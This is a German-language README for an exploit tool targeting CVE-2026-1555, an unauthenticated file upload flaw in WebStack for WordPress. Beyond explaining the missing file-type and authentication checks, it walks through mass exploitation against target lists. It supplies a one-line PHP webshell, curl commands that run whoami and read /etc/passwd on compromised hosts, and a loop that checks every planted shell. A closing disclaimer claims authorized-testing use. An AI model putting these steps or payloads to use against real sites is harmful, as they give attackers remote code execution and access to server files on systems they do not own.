CVE-2026-1555

WebStack <= 1.2024 - Nicht authentifizierter Upload beliebiger Dateien

📌 Schwachstellenübersicht

🔬 Technische Grundursache

Die Funktion io_img_upload(), die unter dem WordPress-admin-ajax.php-Action-Hook img_upload registriert ist, führt keinerlei Dateityp- oder Erweiterungsprüfung durch, bevor sie die hochgeladene Datei auf dem Server speichert. Da die Aktion ohne Authentifizierungsprüfungen registriert ist (wp_ajax_nopriv_), kann jeder nicht authentifizierte Remote-Angreifer eine beliebige Datei – einschließlich einer PHP-Webshell – per POST senden, und der Server speichert sie in einem öffentlich zugänglichen Pfad, was eine direkte Remote-Codeausführung ermöglicht.

Verwundbarer Endpunkt:

POST /wp-admin/admin-ajax.php
action=img_upload
files=@<payload>

⚙️ Tool-Funktionen

• 🔁 Multithread-Scanning mit konfigurierbarer Worker-Anzahl
• 📋 Unterstützung mehrerer Ziele über eine Ziellisten-Datei
• 📤 Automatische Extraktion der Shell-URL aus der JSON-Antwort
• 💾 Erfolgreiche Shell-URLs werden in uploaded_paths.txt gespeichert
• 🎨 Umfangreiche Terminal-Oberfläche mit Live-Fortschrittsverfolgung
• 🔕 SSL-Verifizierung für maximale Kompatibilität deaktiviert

📦 Voraussetzungen

Python-Version: 3.8+

Abhängigkeiten installieren:

pip install requests rich urllib3

🚀 Verwendung

1. Bereiten Sie Ihre Zielliste vor

Erstellen Sie eine Datei mit dem Namen list.txt (oder einem beliebigen Namen Ihrer Wahl) mit einem Ziel pro Zeile:

https://target1.com
https://target2.com
http://target3.com

Ziele ohne http:// oder https:// erhalten automatisch das Präfix http://.

2. Bereiten Sie Ihren Payload vor

Legen Sie Ihre Webshell im selben Verzeichnis wie das Skript ab. Beispiel:

# Minimal PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

3. Führen Sie das Tool aus

python CVE-2026-1555.py

Sie werden nach Folgendem gefragt:

📤 Ausgabe & Shell-Extraktion

Live-Ausgabe

Jeder erfolgreiche Upload gibt Folgendes aus:

╭─ IMG_UPLOAD ──────────────────────────────────╮
│ Upload successful                              │
│                                                │
│ Target:    https://target.com                  │
│ Shell URL: https://target.com/wp-content/...   │
╰────────────────────────────────────────────────╯

Gespeicherte Ergebnisse

Alle erfolgreichen Shell-URLs werden an die folgende Datei angehängt:

uploaded_paths.txt

Zugriff auf Ihre Shell

Nach einem erfolgreichen Upload können Sie direkt über den Browser oder curl auf die Shell zugreifen:

# Browser
https://target.com/wp-content/uploads/shell.php?cmd=id

# curl
curl "https://target.com/wp-content/uploads/shell.php?cmd=whoami"

# Full command execution
curl "https://target.com/wp-content/uploads/shell.php?cmd=cat+/etc/passwd"

Der genaue Upload-Pfad wird aus der JSON-Antwort des Servers (data.src) extrahiert und automatisch ausgegeben.

Massen-Verifizierung der Shells

Überprüfen Sie schnell alle hochgeladenen Shells aus der Ausgabedatei:

while read url; do
  echo -n "[*] $url -> "
  curl -sk "$url?cmd=id" 2>/dev/null || echo "DEAD"
done < uploaded_paths.txt

📊 Ausgabezusammenfassung

Am Ende jedes Laufs wird eine Zusammenfassung ausgegeben:

Summary  50/50  OK: 12  FAIL: 38
╭──────────────────────────────────────────╮
│  Shell URLs saved to uploaded_paths.txt  │
╰──────────────────────────────────────────╯

🗂️ Dateistruktur

CVE-2026-1555.py       ← Main exploit script
list.txt               ← Target URLs (one per line)
shell.php              ← Payload to upload
uploaded_paths.txt     ← Auto-generated: successful shell URLs

⚠️ Haftungsausschluss

Dieses Tool wird ausschließlich für autorisierte Penetrationstests, Sicherheitsforschung und Bildungszwecke bereitgestellt.

Der Autor — Nxploited — übernimmt keinerlei Verantwortung für Missbrauch, Schäden oder illegale Aktivitäten, die mit diesem Tool durchgeführt werden. Mit der Nutzung dieses Tools bestätigen Sie, dass Sie über die ausdrückliche schriftliche Erlaubnis verfügen, alle Zielsysteme zu testen.

Der unbefugte Einsatz gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal und kann gemäß den geltenden Cybercrime-Gesetzen strafrechtlich verfolgt werden.

Nutzen Sie es verantwortungsvoll. Sie sind allein für Ihre Handlungen verantwortlich.